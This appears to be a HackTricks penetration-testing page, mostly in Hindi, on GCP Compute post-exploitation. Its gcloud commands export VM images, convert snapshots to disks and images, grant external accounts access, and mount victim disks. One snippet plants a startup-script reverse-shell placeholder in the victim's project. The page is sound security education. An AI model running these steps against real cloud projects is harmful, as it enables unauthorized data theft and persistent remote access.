GCP - Compute Post Exploitation

Support HackTricks

Compute

Compute और VPC (Networking) के बारे में अधिक जानकारी के लिए देखें:

GCP - Compute Enum

Export & Inspect Images locally

यह एक हमलावर को पहले से मौजूद इमेज में निहित डेटा तक पहुंचने या चल रहे VMs की नई इमेज बनाने और उनके डेटा तक पहुंचने की अनुमति देगा बिना चल रहे VM तक पहुंच के।

एक VM इमेज को एक बकेट में निर्यात करना और फिर उसे डाउनलोड करना और स्थानीय रूप से माउंट करना संभव है, कमांड के साथ:

gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

इस क्रिया को करने के लिए हमलावर को स्टोरेज बकेट पर विशेषाधिकार की आवश्यकता हो सकती है और निश्चित रूप से cloudbuild पर विशेषाधिकार की आवश्यकता है क्योंकि यह सेवा है जिसे निर्यात करने के लिए कहा जाएगा। इसके अलावा, इसके काम करने के लिए codebuild SA और compute SA को विशेषाधिकार प्राप्त अनुमतियों की आवश्यकता है। cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com को आवश्यकता है:

  • roles/iam.serviceAccountTokenCreator

  • roles/compute.admin

  • roles/iam.serviceAccountUser

और SA <project-id>-compute@developer.gserviceaccount.com को आवश्यकता है:

  • roles/compute.storageAdmin

  • roles/storage.objectAdmin

स्थानीय रूप से स्नैपशॉट और डिस्क का निर्यात और निरीक्षण करें

स्नैपशॉट और डिस्क को सीधे निर्यात करना संभव नहीं है, लेकिन एक स्नैपशॉट को डिस्क में, एक डिस्क को इमेज में बदलना संभव है और पिछले अनुभाग का पालन करते हुए, उस इमेज को निर्यात करना ताकि इसे स्थानीय रूप से निरीक्षण किया जा सके।

# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

Inspect an Image creating a VM

एक इमेज में संग्रहीत डेटा या चल रहे VM के अंदर पहुंचने के लक्ष्य के साथ, जहां एक हमलावर ने एक इमेज बनाई है, एक बाहरी खाते को इमेज पर पहुंच प्रदान करना संभव है:

gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

और फिर इससे एक नया VM बनाएं:

gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

यदि आप अपनी बाहरी खाता छवि के माध्यम से पहुंच नहीं दे सकते, तो आप पीड़ित की परियोजना में उस छवि का उपयोग करके एक VM लॉन्च कर सकते हैं और मेटाडेटा को एक रिवर्स शेल निष्पादित करने के लिए बना सकते हैं छवि तक पहुंच प्राप्त करने के लिए पैरामीटर जोड़ते हुए:

--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

Inspect a Snapshot/Disk attaching it to a VM

डिस्क या स्नैपशॉट में संग्रहीत डेटा तक पहुँचने के लक्ष्य के साथ, आप स्नैपशॉट को डिस्क में, डिस्क को इमेज में बदल सकते हैं और पिछले चरणों का पालन कर सकते हैं।

या आप एक बाहरी खाते को डिस्क पर पहुँच प्रदान कर सकते हैं (यदि प्रारंभिक बिंदु एक स्नैपशॉट है तो स्नैपशॉट पर पहुँच दें या इससे एक डिस्क बनाएं):

gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

एक उदाहरण के लिए डिस्क जोड़ें:

gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

Mount the disk inside the VM:

  1. VM में SSH करें:

gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. डिस्क पहचानें: VM के अंदर पहुँचने के बाद, डिस्क उपकरणों की सूची बनाकर नई डिस्क की पहचान करें। आमतौर पर, आप इसे /dev/sdb, /dev/sdc, आदि के रूप में पाएंगे।

  2. डिस्क को फॉर्मेट और माउंट करें (यदि यह एक नई या कच्ची डिस्क है):

  • एक माउंट पॉइंट बनाएं:

sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • डिस्क को माउंट करें:

sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

यदि आप snapshot या disk के लिए एक बाहरी प्रोजेक्ट को एक्सेस नहीं दे सकते, तो आपको snapshot/disk के समान प्रोजेक्ट में एक इंस्टेंस के अंदर ये क्रियाएँ करनी पड़ सकती हैं

Support HackTricks

Last updated